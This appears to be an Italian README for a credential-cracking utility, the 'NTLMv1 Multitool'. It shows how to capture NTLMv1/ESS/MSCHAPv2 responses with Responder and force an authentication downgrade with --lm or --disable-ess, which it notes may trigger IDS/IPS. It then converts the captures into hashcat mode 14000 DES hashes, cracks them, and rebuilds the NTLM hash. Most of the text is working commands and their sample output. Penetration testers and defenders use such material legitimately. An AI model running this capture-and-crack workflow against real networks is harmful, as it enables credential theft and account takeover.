
NTLMv1 Multitool
Questo strumento converte gli hash NTLMv1 in NTLM, o più precisamente formatta le risposte alla challenge NTLMv1 in un formato che può essere crackato con hashcat modalità 14000.
Se specifichi --ct3, lo strumento calcola le ultime 4 cifre dell'NTLM per te; se specifichi --json, allora --ct3 è implicito e lo restituisce come elemento pt3, ad esempio:
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
Infine in questo aggiornamento ho spostato le funzioni in main() così puoi semplicemente importare il modulo per un uso diretto.
Ho aggiunto 2 nuove opzioni, --hashcat e --hcutils, che impostano rispettivamente il percorso di hashcat e hashcat-utils, così puoi fare un copia e incolla diretto dallo strumento.
Eseguirai lo strumento in questo modo se la tua directory hashcat si trova in ~/git/hashcat e la tua directory hashcat-utils in ~/git/hashcat-utils:
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
Sì, è presumibilmente compatibile con Python 3; ho anche unito ntlmv1 e ntlmv1-ess.
Multitool NTLMv1
Questo strumento modifica gli hash NTLMv1/NTLMv1-ESS/MSCHAPv2 in modo che possano essere crackati con la modalità DES 14000 in hashcat.
Questo strumento si basa sul lavoro di atom del team Hashcat https://hashcat.net/forum/thread-5832.html
Si basa anche su https://hashcat.net/forum/thread-5912.html e https://www.youtube.com/watch?v=LIHACAct2vo
Installa lo strumento di nuova generazione ntlmv1_nextgen.py come comando globale ntlmv1-multi con uv:
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"
Oppure eseguilo direttamente dal repository senza installarlo:
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."
Il progetto include un pyproject.toml (Python 3.14+, dipendenza pycryptodome), così uv risolve tutto per te; il ntlmv1.py originale continua a funzionare in modo autonomo con qualsiasi interprete Python 3.
ntlmv1_nextgen.py)ntlmv1_nextgen.py (installato come comando ntlmv1-multi) è il parser moderno. Accetta NTLMv1, blob $99$ e MSCHAPv2, gestisce automaticamente ESS e può completare l'intera conversione NTLMv1 -> NTLM da un potfile crackato in un solo passaggio. Opzioni disponibili:
Per la cattura usa responder con il flag --lm; senza --lm attiverai ESS, che richiederà più tempo per il cracking. Inoltre è disponibile un nuovo flag, --disable-ess, che tenta di disabilitare ESS e forzare il downgrade. Prova prima --disable-ess e, se fallisce, prova --lm. Se usi --disable-ess o --lm, assicurati che la client challenge sia 1122334455667788 per usare la FPGA; tuttavia ciò potrebbe attivare alcune protezioni IDS/IPS di rete se vedono quel traffico.
La cattura apparirà così.
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
La parte dell'hash appare così
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Quindi usa il multi tool in questo modo (è anche compatibile con Python 2)
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Lo strumento produrrà i seguenti dati senza modificare le server challenge, ecc.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
La password usata in questo caso è "password" e possiamo verificare l'hash NTLM con
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
Con ct3_to_ntlm.bin degli hashcat utils, scritto da atom, puoi calcolare gli ultimi 4 caratteri dell'hash NTLM dalla challenge NTLMv1, che lo strumento restituisce
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
Questo corrisponde alla parte finale dell'hash NTLM, quindi siamo a posto. Il passo successivo è crackare gli hash con hashcat, quindi dobbiamo creare un file hashes.txt con
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
Per crackarlo con hashcat usi
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Una nota importante: hashcat restituirà chiavi DES e non chiavi NTLM; dovrai convertirle in NTLM usando deskey_to_ntlm.pl di Hashcat Utils. Puoi farlo con
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Poi combini le due chiavi NTLM con la terza parte della password, calcolata da (qualunque cosa lo strumento restituisca)
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
Somma queste 3 parti e sei a posto.
Se stai semplicemente testando il mio codice e conosci già la password, puoi usare il convertitore DES
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
In pratica fai quanto segue
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
./hashcat -m 14000 -a 0 hashes.txt des.cand
E dovresti ottenere alcuni hash invertiti.
ESS modifica la server challenge; se vedi ESS nel tuo responder perché non hai usato --lm oppure il client è configurato per non fornire una risposta LM, allora ESS viene attivato. Inoltre --disable-ess tenterà di forzare la disattivazione di ESS, ma richiede una copia recente (agosto 2021 o successiva) di impacket e responder.
L'output ESS appare così
[SMB] NTLMv1-SSP Client : 184.64.60.62
[SMB] NTLMv1-SSP Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1-SSP Hash : hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
L'hash vero e proprio appare così
hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
Per usare lo strumento, esegui (è compatibile con Python 3)
python3 ntlmv1.py --ntlmv1 "hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788"
Lo strumento restituirà
Hashfield Split:
['hashcat', '', 'DUSTIN-5AA37877', '85D5BC2CE95161CD00000000000000000000000000000000', '892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
LM Response: 85D5BC2CE95161CD00000000000000000000000000000000
NT Response: 892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0
Client Challenge: 1122334455667788
SRV Challenge: b36d2b9a8607ea77
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
To crack with hashcat create a file with the following contents:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Ora, la password che stiamo usando in questo caso è password, il cui hash NTLM è b4b9b02e6f09a9bd760f388b67351e2b
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
Quindi, per calcolare gli ultimi 4 caratteri dell'hash NTLM per la nostra challenge NTLMv1-ESS, usiamo il seguente comando dall'output dello strumento per ottenere 586c
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
Dobbiamo creare un file hash con il seguente contenuto, secondo lo strumento, che ha le SRV Challenge modificate per gestire ESS
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
Per crackare con hashcat usiamo quanto segue, secondo lo strumento
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Una nota importante: hashcat restituirà chiavi DES e non chiavi NTLM; dovrai convertirle in NTLM usando deskey_to_ntlm.pl di Hashcat Utils. Puoi farlo con
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Ora, supponendo che conoscessimo già l'hash NTLM in questo caso perché lo abbiamo creato noi e vogliamo validare gli strumenti, usiamo quanto segue
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
Questo restituirà alcuni dati
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
La parte importante qui è
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
Ora possiamo crackare con hashcat usando quanto segue, senza aspettare 8 giorni
./hashcat -m 14000 -a 0 hashes.txt des.cand
python ntlm-to-des.py --ntlm 8846f7eaee8fb117ad06bdd830b7586c
DESKEY1: b55d6d05e6792652
DESKEY2: bdba82e6895a9d6a
echo "$HEX[b55d6d05e6792652]">>des.cand
echo "$HEX[bdba82e6895a9d6a]">>des.cand
Lo strumento ora supporta l'output JSON; imposta il flag --json e restituirà un output JSON:
python3 ntlmv1.py --ntlmv1 "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d" --json
{"ntlmv1": "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d", "user": "SERVER1$", "domain": "MOG", "challenge": "ff81dfd6b12c269d", "lmresp": "7EF3F506F5EA510E00000000000000000000000000000000", "ntresp": "1217169BD7BE0270A033899BD440016D3E6DACAF5894D504", "ct3": "3E6DACAF5894D504", "srvchallenge": "888f8ee0fa031808", "ct3_crack": "ct3_to_ntlm.bin 3E6DACAF5894D504 ff81dfd6b12c269d 7EF3F506F5EA510E00000000000000000000000000000000", "hash1": "1217169BD7BE0270:888f8ee0fa031808", "hash2": "A033899BD440016D:888f8ee0fa031808", "CRACK_SH": "$NETLM$888f8ee0fa031808$1217169BD7BE0270A033899BD440016D3E6DACAF5894D504"}
I campi importanti sono:
Dopo aver crackato gli hash DES della modalità 14000 con hashcat, le chiavi DES crackate finiscono nel potfile come righe ct:challenge:key (la chiave è normalmente memorizzata come $HEX[...] poiché sono byte grezzi). Invece di copiare manualmente le chiavi con --key1/--key2, punta ntlmv1_nextgen.py al potfile e recupererà le chiavi, le validerà rispetto ai ciphertext e completerà l'intera conversione NTLMv1 -> NTLM in un solo passaggio:
python3 ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788" --potfile ~/.local/share/hashcat/hashcat.potfile
L'hash NTLM recuperato viene stampato come campo NTLM (o ntlm in --json). --potfile funziona con --ntlmv1, --99 e --mschapv2, gestisce gli hash ESS (corrispondendo sulla challenge derivata da MD5) e ignora le voci del potfile non correlate. --key1/--key2 espliciti hanno comunque precedenza sulle corrispondenze del potfile.
Sono accettati sia i potfile di hashcat che quelli di rainbowcrackalack. Il campo della chiave crackata può essere un blob hashcat $HEX[...], byte stampabili puri, una chiave pura a 16 esadecimali di 8 byte, oppure una chiave pura a 14 esadecimali di 7 byte (la forma emessa da rainbowcrackalack): tutti vengono normalizzati e rivalidati rispetto al ciphertext prima dell'uso.
Questo repository si basa sui post del forum di atom, l'autore di hashcat, e sulla ricerca di moxie marlinspike. Poiché il codice di atom è in gran parte concesso in licenza MIT, questo progetto ha adottato la stessa licenza per essere compatibile. Questo progetto non è GPL, in modo che qualsiasi entità possa incorporarlo in un progetto commerciale senza restrizioni.
| Opzione | Descrizione |
|---|
--ntlmv1 <hash> | Hash NTLMv1 in formato Responder (user::host:LM:NT:challenge). |
--99 <blob> | Blob base64 in stile $99$. |
--mschapv2 <hash> | Hash MSCHAPv2 in formato John the Ripper. |
--nthash <hex> | Hash NTLM a 32 caratteri; deriva le chiavi DES e i candidati hashcat. |
--password <pw> | Deriva le chiavi DES --key1/--key2 da una password nota. |
--key1 <hex> / --key2 <hex> | Fornisce direttamente le chiavi DES a 16 esadecimali per CT1/CT2 (ha precedenza su --potfile). |
--potfile <path> | Potfile di hashcat/rainbowcrackalack con le chiavi crackate della modalità 14000; recupera automaticamente key1/key2 per completare la conversione NTLMv1 -> NTLM. |
--hashcat | Emette stringhe in formato hashcat per CT1/CT2. |
--json | Solo output JSON (implica il calcolo di CT3). |